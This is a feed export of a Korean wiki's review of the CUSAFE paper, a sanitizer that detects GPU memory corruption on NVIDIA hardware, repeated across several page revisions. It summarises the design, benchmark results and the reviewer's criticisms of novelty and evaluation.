이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.&lt;br /&gt;
&lt;br /&gt;
기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA &#039;&#039;&#039;compute-sanitizer는 논문 평가에서 평균 15배 slowdown&#039;&#039;&#039;을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
이 논문의 중요성은 GPU memory safety 문제를 &amp;quot;탐지 능력 대 배포 가능성&amp;quot;의 tradeoff로 명확히 재정의했다는 점에 있다. 이전 연구는 완전한 탐지를 위해 hardware나 비공개 toolchain을 요구하거나, 배포 가능한 방식 대신 제한적인 bug class만 탐지했다. &#039;&#039;&#039;CUSAFE는 commodity NVIDIA GPU에서 동작한다는 제약을 먼저 고정&#039;&#039;&#039;하고, 그 안에서 metadata 배치와 pointer tagging을 다시 설계한다.&lt;br /&gt;
&lt;br /&gt;
또 하나의 의미는 &#039;&#039;&#039;CPU sanitizer의 단순 이식이 GPU에서는 좋은 답이 아니&#039;&#039;&#039;라는 점을 보여준 것이다. [[AddressSanitizer]]류의 out-of-band shadow memory는 GPU의 높은 thread parallelism에서 metadata lookup 자체가 memory bandwidth와 cache/TLB pressure를 만든다. 이 논문은 sanitizer design을 hardware execution model에 맞춰야 한다는 점을 지적한다.&lt;br /&gt;
&lt;br /&gt;
마지막으로 CUSAFE는 GPU의 [[MMU]], virtual address layout, local/shared/global memory 차이를 sanitizer metadata scheme의 일부로 끌어들인다. 이는 GPU 보안 연구에서 compiler instrumentation, allocator, virtual memory control을 결합한 실용적 design point를 제시한다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.&lt;br /&gt;
&lt;br /&gt;
이 설계는 두 문제를 동시에 겨냥한다. 첫째, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하다. 둘째, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.&lt;br /&gt;
&lt;br /&gt;
Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 metadata confusion을 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙인다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.&lt;br /&gt;
# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.&lt;br /&gt;
# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.&lt;br /&gt;
# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.&lt;br /&gt;
# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.&lt;br /&gt;
# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.&lt;br /&gt;
# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.&lt;br /&gt;
&lt;br /&gt;
Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.&lt;br /&gt;
&lt;br /&gt;
Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.&lt;br /&gt;
&lt;br /&gt;
Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# &#039;&#039;&#039;GPU Sanitizer&#039;&#039;&#039;에 대한 Motivation이 잘 설명되어 있다.&lt;br /&gt;
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.&lt;br /&gt;
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.&lt;br /&gt;
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.&lt;br /&gt;
&lt;br /&gt;
== [[Criticisms]] ==&lt;br /&gt;
=== Major Concerns ===&lt;br /&gt;
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.&lt;br /&gt;
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.&lt;br /&gt;
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.&lt;br /&gt;
# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.&lt;br /&gt;
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.&lt;br /&gt;
&lt;br /&gt;
=== Minor Concerns ===&lt;br /&gt;
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.&lt;br /&gt;
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.&lt;br /&gt;
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.&lt;br /&gt;
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
[[분류: USENIX Security]]&lt;br /&gt;
[[분류: GPU 보안]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7136</id>
		<title>CUSAFE: Capturing Memory Corruption on NVIDIA GPUs</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7136"/>
		<updated>2026-07-02T07:20:29Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs&lt;br /&gt;
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo&lt;br /&gt;
|conference=USENIX Security Symposium&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.&lt;br /&gt;
&lt;br /&gt;
기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA &#039;&#039;&#039;compute-sanitizer는 논문 평가에서 평균 15배 slowdown&#039;&#039;&#039;을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
이 논문의 중요성은 GPU memory safety 문제를 &amp;quot;탐지 능력 대 배포 가능성&amp;quot;의 tradeoff로 명확히 재정의했다는 점에 있다. 이전 연구는 완전한 탐지를 위해 hardware나 비공개 toolchain을 요구하거나, 배포 가능한 방식 대신 제한적인 bug class만 탐지했다. &#039;&#039;&#039;CUSAFE는 commodity NVIDIA GPU에서 동작한다는 제약을 먼저 고정&#039;&#039;&#039;하고, 그 안에서 metadata 배치와 pointer tagging을 다시 설계한다.&lt;br /&gt;
&lt;br /&gt;
또 하나의 의미는 &#039;&#039;&#039;CPU sanitizer의 단순 이식이 GPU에서는 좋은 답이 아니&#039;&#039;&#039;라는 점을 보여준 것이다. [[AddressSanitizer]]류의 out-of-band shadow memory는 GPU의 높은 thread parallelism에서 metadata lookup 자체가 memory bandwidth와 cache/TLB pressure를 만든다. 이 논문은 sanitizer design을 hardware execution model에 맞춰야 한다는 점을 지적한다.&lt;br /&gt;
&lt;br /&gt;
마지막으로 CUSAFE는 GPU의 [[MMU]], virtual address layout, local/shared/global memory 차이를 sanitizer metadata scheme의 일부로 끌어들인다. 이는 GPU 보안 연구에서 compiler instrumentation, allocator, virtual memory control을 결합한 실용적 design point를 제시한다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.&lt;br /&gt;
&lt;br /&gt;
이 설계는 두 문제를 동시에 겨냥한다. 첫째, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하다. 둘째, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.&lt;br /&gt;
&lt;br /&gt;
Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 metadata confusion을 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙인다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.&lt;br /&gt;
# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.&lt;br /&gt;
# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.&lt;br /&gt;
# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.&lt;br /&gt;
# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.&lt;br /&gt;
# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.&lt;br /&gt;
# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.&lt;br /&gt;
&lt;br /&gt;
Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.&lt;br /&gt;
&lt;br /&gt;
Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.&lt;br /&gt;
&lt;br /&gt;
Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# &#039;&#039;&#039;GPU Sanitizer&#039;&#039;&#039;에 대한 Motivation이 잘 설명되어 있다.&lt;br /&gt;
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.&lt;br /&gt;
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.&lt;br /&gt;
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.&lt;br /&gt;
&lt;br /&gt;
== [[Criticisms]] ==&lt;br /&gt;
=== Major Concerns ===&lt;br /&gt;
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.&lt;br /&gt;
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.&lt;br /&gt;
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.&lt;br /&gt;
# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.&lt;br /&gt;
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.&lt;br /&gt;
&lt;br /&gt;
=== Evaluation ===&lt;br /&gt;
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.&lt;br /&gt;
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.&lt;br /&gt;
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.&lt;br /&gt;
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
[[분류: USENIX Security]]&lt;br /&gt;
[[분류: GPU 보안]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7135</id>
		<title>CUSAFE: Capturing Memory Corruption on NVIDIA GPUs</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7135"/>
		<updated>2026-07-02T07:20:12Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs&lt;br /&gt;
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo&lt;br /&gt;
|conference=USENIX Security Symposium&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.&lt;br /&gt;
&lt;br /&gt;
기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA &#039;&#039;&#039;compute-sanitizer는 논문 평가에서 평균 15배 slowdown&#039;&#039;&#039;을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
이 논문의 중요성은 GPU memory safety 문제를 &amp;quot;탐지 능력 대 배포 가능성&amp;quot;의 tradeoff로 명확히 재정의했다는 점에 있다. 이전 연구는 완전한 탐지를 위해 hardware나 비공개 toolchain을 요구하거나, 배포 가능한 방식 대신 제한적인 bug class만 탐지했다. &#039;&#039;&#039;CUSAFE는 commodity NVIDIA GPU에서 동작한다는 제약을 먼저 고정&#039;&#039;&#039;하고, 그 안에서 metadata 배치와 pointer tagging을 다시 설계한다.&lt;br /&gt;
&lt;br /&gt;
또 하나의 의미는 &#039;&#039;&#039;CPU sanitizer의 단순 이식이 GPU에서는 좋은 답이 아니&#039;&#039;&#039;라는 점을 보여준 것이다. [[AddressSanitizer]]류의 out-of-band shadow memory는 GPU의 높은 thread parallelism에서 metadata lookup 자체가 memory bandwidth와 cache/TLB pressure를 만든다. 이 논문은 sanitizer design을 hardware execution model에 맞춰야 한다는 점을 지적한다.&lt;br /&gt;
&lt;br /&gt;
마지막으로 CUSAFE는 GPU의 [[MMU]], virtual address layout, local/shared/global memory 차이를 sanitizer metadata scheme의 일부로 끌어들인다. 이는 GPU 보안 연구에서 compiler instrumentation, allocator, virtual memory control을 결합한 실용적 design point를 제시한다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.&lt;br /&gt;
&lt;br /&gt;
